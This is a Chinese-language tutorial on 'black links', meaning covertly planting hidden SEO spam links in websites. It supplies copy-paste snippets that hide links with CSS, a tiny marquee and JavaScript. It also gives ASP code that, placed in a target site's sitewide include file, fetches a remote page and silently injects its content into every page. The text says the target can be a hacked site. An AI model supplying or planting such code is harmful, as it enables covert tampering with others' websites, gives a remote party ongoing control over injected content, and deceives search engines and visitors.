黑链-最高明的站点隐藏链接方法

第一种 CSS、DIV隐藏链接代码

黑链代码1、<div style=”position: absolute; top: -999px; left: -999px;”>
<a href=“http://www.semshare.net/”>SEM分享</a></div>

黑链代码2、<div style=”position:absolute; left: expression(1-900); top: expression(3-999);”>
<a href=“http://www.semshare.net/”>SEM分享</a></div>

黑链代码3、<div style=”display:none;”>
<a href=“http://www.semshare.net/” target=”_blank”>SEM分享</a></div>

复制代码，增加到源文件不易发现的位置就可以。

另外一种 静态页面黑链代码

<marquee height=1 width=5 SCROLLAMOUNT=3000 SCROLLDELAY=20000>
<a href= “http://www.semshare.net/”>SEM分享</a></MARQUEE>

第三种 javascript:隐藏链接

1、代码：<script language=”javascript” type=”text/javascript”>
document.write(“<div style=’display:none;’>”);
</script><div>
<a href=http://semshare.net/>SEM分享</a>
<script language=”javascript” type=”text/javascript”>
document.write(”</div>”);
</script>

2、JS特别优化的代码例如以下

<script language=”javascript” type=”text/javascript”>
document.write(“<div style=display:none;>”);
</script><div>
<h1><a href=” http://www.coalmill.com/” title=” coal mill” name=” coal mill”> coal mill </a>
<a href=”http://www.crushingequipment.org/” title=” crushing equipment” name=” crushing equipment”> crushing equipment </a>
<a href=“http://www.semshare.net/” title=”SEM分享” name=”semshare.net”> SEM分享</a>
<a href=”http://www.t-mill.com/” title=”Raymond mill” name=” Raymond mill”> Raymond mill </a></h1>  </div>
<script language=”javascript” type=”text/javascript”>
document.write(“</div>”);
</script>

第四种 最高明的站点隐藏链接代码

没有非常强的功底一般不会找到黑链的代码，所以称作最高明的黑链代码

<%On Error Resume Next
Server.ScriptTimeOut=9999999
response.write(getHTTPPage(“http://www.semshare.net/123/”))
function getHTTPPage(url)
dim http
set http=createobject(“MSXML2.XMLHTTP”)
Http.open “GET”,url,false
Http.send()
if Http.readystate<>4 then
exit function
end if
getHTTPPage=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<>0 then err.Clear
end function
Function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = “”
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
%>

       用法：首先建立“http://www.semshare.net/123/”这样一个页面，能够是自己的站也能够是被黑的站，源文件写入以上代码，然后在目标站点的全站调用文件写入以上代码就可以。